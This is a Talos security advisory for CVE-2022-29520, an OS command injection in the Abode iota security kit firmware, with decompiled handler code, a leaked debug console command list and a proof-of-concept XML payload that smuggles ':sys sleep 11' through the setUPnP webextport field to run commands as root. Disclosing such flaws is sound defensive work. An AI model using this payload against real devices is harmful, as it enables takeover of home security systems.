Talos Vulnerability Report

TALOS-2022-1561

Abode Systems, Inc. iota All-In-One Security Kit console_main_loop :sys OS command injection vulnerability

OCTOBER 20, 2022

CVE NUMBER

CVE-2022-29520

SUMMARY

An OS command injection vulnerability exists in the console_main_loop :sys functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9Z. A specially-crafted XCMD can lead to arbitrary command execution. An attacker can send an XML payload to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

abode systems, inc. iota All-In-One Security Kit 6.9Z

PRODUCT URLS

iota All-In-One Security Kit - https://goabode.com/product/iota-security-kit

CVSSV3 SCORE

8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-489 - Leftover Debug Code

DETAILS

The iota All-In-One Security Kit is a home security gateway containing an HD camera, infrared motion detection sensor, Ethernet, WiFi and Cellular connectivity. The iota gateway orchestrates communications between sensors (cameras, door and window alarms, motion detectors, etc.) distributed on the LAN and the Abode cloud. Users of the iota can communicate with the device through mobile application or web application.

The `iota` device receives command and control messages (referred to in the application as XCMDs) via an XMPP connection established during the initialization of the `hpgw` application. As of version 6.9Z there are 222 XCMDs registered within the application. Each XCMD is associated with a function intended to handle it. As discussed in TALOS-2022-1552 there is a service running on UDP/55050 that allows an unauthenticated attacker access to execute these XCMDs.

An XCMD, by virtue of being commonly transmitted over XMPP, is an XML payload structured in a specific format. Each XCMD must contain a root node `<p>`, which must contain a child element, `<mac>` with an attribute `v` containing the target device MAC Address. There must also be a child element `<cmd>` which must contain an attribute `a` naming the XCMD to be executed. From there, various XCMDs require various child elements that contain information relevent only to that handler.

For example, one of the simplest XCMDs that can be executed is `getDev`.

```
<?xml version="1.0" encoding="UTF-8"?>
<p>
  <mac v="B0:C5:CA:00:00:00"/>
  <cmds>
    <cmd a="getDev"/>
  </cmds>
</p>
```

One of the XCMDs, `setUPnP`, is used to configure port forwarding by modifying UPnP-specific configuration values and communicating to another thread that the configuration has been modified and the other thread should react. The `setUPnP` XCMD expects several elements, each containing some relevant piece of UPnP configuration information. These XML tags are mapped to the following configuration values:

- `upnpdev` -> `UPnP_Enable`
- `portfw` -> `PortRedir`
- `webport` -> `UPnP_WebPort`
- `webextport` -> `UPnP_WebExtPort`

Several of these values are optional, and if they are not provided, a default value will be fetched from a configuration file (e.g. if webport is not provided, the system will use the `WebPort` configuration). One should note that the port being forwarded need not actually be related to the web interface.

A sample of this command might appear as follows:

```
<?xml version="1.0" encoding="UTF-8"?>
<p>
  <mac v="B0:C5:CA:00:00:00"/>
  <cmds>
    <cmd a="setUPnP">
      <upnpdev v="1"/>
      <portfw v="1"/>
      <webport v="80"/>
      <webextport v="8080"/>
    </cmd>
  </cmds>
</p>
```

In this example, the XCMD handler would end up setting the various configuration values and then triggering a separate thread to use those values to request port forwarding from the router via UPnP. Similarly, UPnP and port redirection can be disabled using the same command.

The vulnerability discussed in this report occurs in a second portion of this function, which appears largely superfluous for code responsible for configuring UPnP data. It is at this point that we begin to deviate from TALOS-2022-1557. Note that TALOS-2022-1557 applies to both 6.9X and 6.9Z, but this vulnerability only applies to the most recent firmware version, 6.9Z. This vulnerability exists in the handling of data supplied to the `/var/in` named pipe, no matter how it is supplied—`setUPnP` `webextport` is just the most expedient method of getting data into the `/var/in` named pipe from across the network.

The relevant portions of the decompilation of `setUPnP` handler are included below.

```
int __fastcall setUPnP(xml_related_t *xml, int *a2)
{
  char *webextport; // r0 MAPDST
  char command[256]; // [sp+28h] [bp-120h] BYREF
  ...
  // [1] The value of the webextport `v` attribute is recovered
  webextport = get_xcmd_param(xml, "webextport");

  // [2] We wish to bypass this conditional, so we start `webexport` with a ':'
  if ( !webextport || *webextport != ':' )
  {
    ... // This is all of the UPnP/Port Forwarding functionality
    return 0;
  }
  log(DEBUG, XCMD, "debug cmd=%s", webextport);
  write_log(DEBUG, XCMD, "DEBUG", "XCMD", webextport, -1);
  memset(command, 0, sizeof(command));

  // [3] Submit the attacker-controlled webextport value to /var/in
  vsnprintf_nullterm(command, 0xFFu, "echo %s > /var/in", webextport);
  popen_write(command);
  init_xml_response(a2);
  return 0;
}
```

For the purpose of this vulnerability, the only relevant child of `<cmd>` is `<webextport>`.

At `[1]` the value of this tag is extracted. At `[2]` the value is checked to determine if it starts with a ':'. If it does, then the code relevant to port forwarding is skipped entirely. At `[3]` the user-controlled `webextport` value is echo'd into the `/var/in` named pipe.

The `/var/in` named pipe is being monitored by a separate thread running within the same `hpgw` binary. The function responsible for consuming data received over this named pipe is titled `console_main_loop`. This function existed in 6.9X but was almost entirely empty, effectively discarding any data it received. It gained major functionality in version 6.9Z. The decompilation of this function in 6.9Z is 2028 lines, compared to 76 lines in version 6.9X.

The functionality added in 6.9Z causes the `console_main_loop` to iterate over the data submitted to `/var/in` line-by-line and treat it as console commands.

The functionality exposed by this console is best described by the console itself, via the `:help` function. There are some unlisted commands, but they are all generally innocuous.

```
[DBG ][MAIN][[Console
[DBG ][MAIN]     :quit
[DBG ][MAIN]     :action [target] [action] {argv..., C-style escape}
[DBG ][MAIN]     :action_wait [target] [action] {argv..., C-style escape}
[DBG ][MAIN]     :action_print [target]
[DBG ][MAIN]     :actmon_print
[DBG ][MAIN]     :config_set [key] [value, C-style escape]
[DBG ][MAIN]     :config_get [key]
[DBG ][MAIN]     :config_print
[DBG ][MAIN]     :wireless_change [SSID] [WPAPSK]
[DBG ][MAIN]     :status_webrtc
[DBG ][MAIN]     :device_learn_rule_add [id] [area] [zone] [type] [su] [name]
[DBG ][MAIN]     :device_learn_rule_delete [id]
[DBG ][MAIN]     :device_list_add [id] [area] [zone] [type] [su] [name]
[DBG ][MAIN]     :device_list_delete [id]
[DBG ][MAIN]     :device_list_print
[DBG ][MAIN]     :device_set_prop [id] [prop] [value]
[DBG ][MAIN]     :device_group_set [group] [name]
[DBG ][MAIN]     :device_group_print
[DBG ][MAIN]     :device_history_print
[DBG ][MAIN]     :device_status_set [id] [key] [value]
[DBG ][MAIN]     :device_status_print
[DBG ][MAIN]     :alarm_status
[DBG ][MAIN]     :alarm_user_add [area] [user] [name] [passwd] [latch]
[DBG ][MAIN]     :alarm_user_delete [area] [user]
[DBG ][MAIN]     :alarm_user_print
[DBG ][MAIN]     :alarm_area_print
[DBG ][MAIN]     :alarm_area_set_prop [area] [prop] [value]
[DBG ][MAIN]     :alarm_ha_set [ID] [rule] [exec]
[DBG ][MAIN]     :alarm_ha_print
[DBG ][MAIN]     :alarm_pq_print
[DBG ][MAIN]     :alarm_media_print
[DBG ][MAIN]     :alarm_history_print
[DBG ][MAIN]     :alarm_report_print
[DBG ][MAIN]     :alarm_fault_print
[DBG ][MAIN]     :report_setting_print
[DBG ][MAIN]     :web_session_print
[DBG ][MAIN]     :http_send_request [addr] [port] [request, C-style escape]
[DBG ][MAIN]     :http_send_request_dl [addr] [port] [filename] [uBuffSize]
[request, C-style escape]
[DBG ][MAIN]     :http_send_request_file [addr] [port] [filename] [request, C-style
escape]
[DBG ][MAIN]     :http_ssl_send_request [addr] [port] [request, C-style escape]
[DBG ][MAIN]     :print_net_info [interface]
[DBG ][MAIN]     :print_version
[DBG ][MAIN]     :print_datetime
[DBG ][MAIN]     :get_reg [addr]
[DBG ][MAIN]     :set_reg [addr] [value]
[DBG ][MAIN]     :set_datetime [YY] [MM] [DD] [hh] [mm] [ss]
[DBG ][MAIN]     :log_con_set_priority_mask [nMaskPriority]
[DBG ][MAIN]     :log_con_set_class_mask [nMaskClass] [bEnable]
[DBG ][MAIN]     :log_db_reload_cache
[DBG ][MAIN]     :xfinder_debug [1/0]
[DBG ][MAIN]     :sys | :system
[DBG ][MAIN]     :print_trace
[DBG ][MAIN]     :suspend
[DBG ][MAIN]     :reboot
```

It would seem that this is a diagnostic or debugging console, used by developers to test various features of the device. While a significant number of these can be abused, the most easily exploitable command exposed by this console is `:sys | :system`. The `:sys` command simply executes the remainder of the line via `popen`.

Below are the relevant portions of the decompilation of `console_main_loop`, with annotations.

```
void console_main_loop()
{

  g_QUIT = 0;
  popen_write("rm -f /var/in");
  if ( mkfifo("/var/in", 0x1FFu) )
  {
    named_pipe = 0;
  }
  else
  {
    named_pipe = open64("/var/in", 0x802);
    if ( named_pipe < 0 )
    {
      log(4, 0, "FIFO fail");
      named_pipe = 0;
    }
  }
  v0 = fcntl(0, F_GETFL);
  fcntl(0, F_SETFL, v0 | O_NONBLOCK);
  while ( !g_QUIT )
  {
    if (... || read(named_pipe, v2, 1u) > 0) )
    {
      v8 = v2;

      // [1] Read the named pipe, byte-by-byte, until a '\n' is encountered, storing
the values into `line`
      while ( 1 )
      {
        v9 = v8;
        if ( v8 >= &v392 )
          break;
        v10 = (unsigned __int8)*v8++;
        if ( v10 == '\n' )
          break;
        v2 = v8;
        if ( read(0, v8, 1u) <= 0 )
          goto LABEL_28;
      }
      *v9 = 0;
      remainder = 0;
      // [2] Begin tokenizing the line by whitespace, storing the first word to
`action`
      action = strtok_r(line, " \t", &remainder);
      if ( !action || action[0] != ':' )
        continue;              // Ignore empty or non-conforming lines

      // [3] Begin comparing the action to available action handlers...
      if ( !strcmp(action, ":quit") )
      {
        log(5, 0, "User quit...");
        quit();
        continue
      }
      if ( !strcmp(action, ":config_print") )
      {
        config_print();
```

```
          continue;
        }
        ...
        // [4] Action handler for `:sys` begins
        if ( !strcmp(action, ":sys") || !strcmp(action, ":system") )
        {

          // [5] If there is data following :sys
          if ( remainder )
          {
            command = remainder;
            end = strlen(command);

            // [6] then append an ampersand (to force to background)
            command[end] = '&';

            // [7] and null-terminate
            command[end + 1] = '\0';

            log(6, 0, "command:%s", command);

            // [8] and finally execute.
            popen_write(command);
          }
          continue;
        }
        ...
```

At `[1]` the data from `/var/in` is read into a buffer until a `\n` character is seen. At `[2]` the line is tokenized, splitting on spaces and tabs. The first value is expected to be a command, beginning with a `:`. At `[3]` the function begins searching for the code to execute based on the command it received. At `[4]` it will successfully identify that the `:sys` command was supplied from `webextport` and enter the vulnerable portion of the function. At `[5]` the function checks to see if there was data following `:sys` in the line. At `[6]` it appends an ampersand to ensure the call does not block the `hpgw` process, and at `[7]` it null-terminates the command. Finally, at `[8]` the command passed in is executed using `popen`.

We speculate that this console functionality might not have been intended for the final release version of the firmware. We are uncertain if this console functionality has ever been included in a release firmware before. Given that this appears to be leftover debug functionality, we decline to treat this as 'intended functionality' and rather as exploitable leftover debug code. We are uncertain why this `console_main_loop` interface is exposed through the unrelated `webextport` value of the `setUPnP` functionality.

Exploit Proof of Concept

Submitting the following XCMD

```
<?xml version="1.0" encoding="UTF-8"?>
<p>
  <mac v="B0:C5:CA:00:00:00"/>
  <cmds>
    <cmd a="setUPnP">
      <webextport v=":sys sleep 11"/>
    </cmd>
  </cmds>
</p>
```

will result in the execution of the command `sleep 11 &` as the root user

TIMELINE

2022-07-14 - Vendor Disclosure

2022-10-20 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2022-1560

NEXT REPORT

TALOS-2022-1553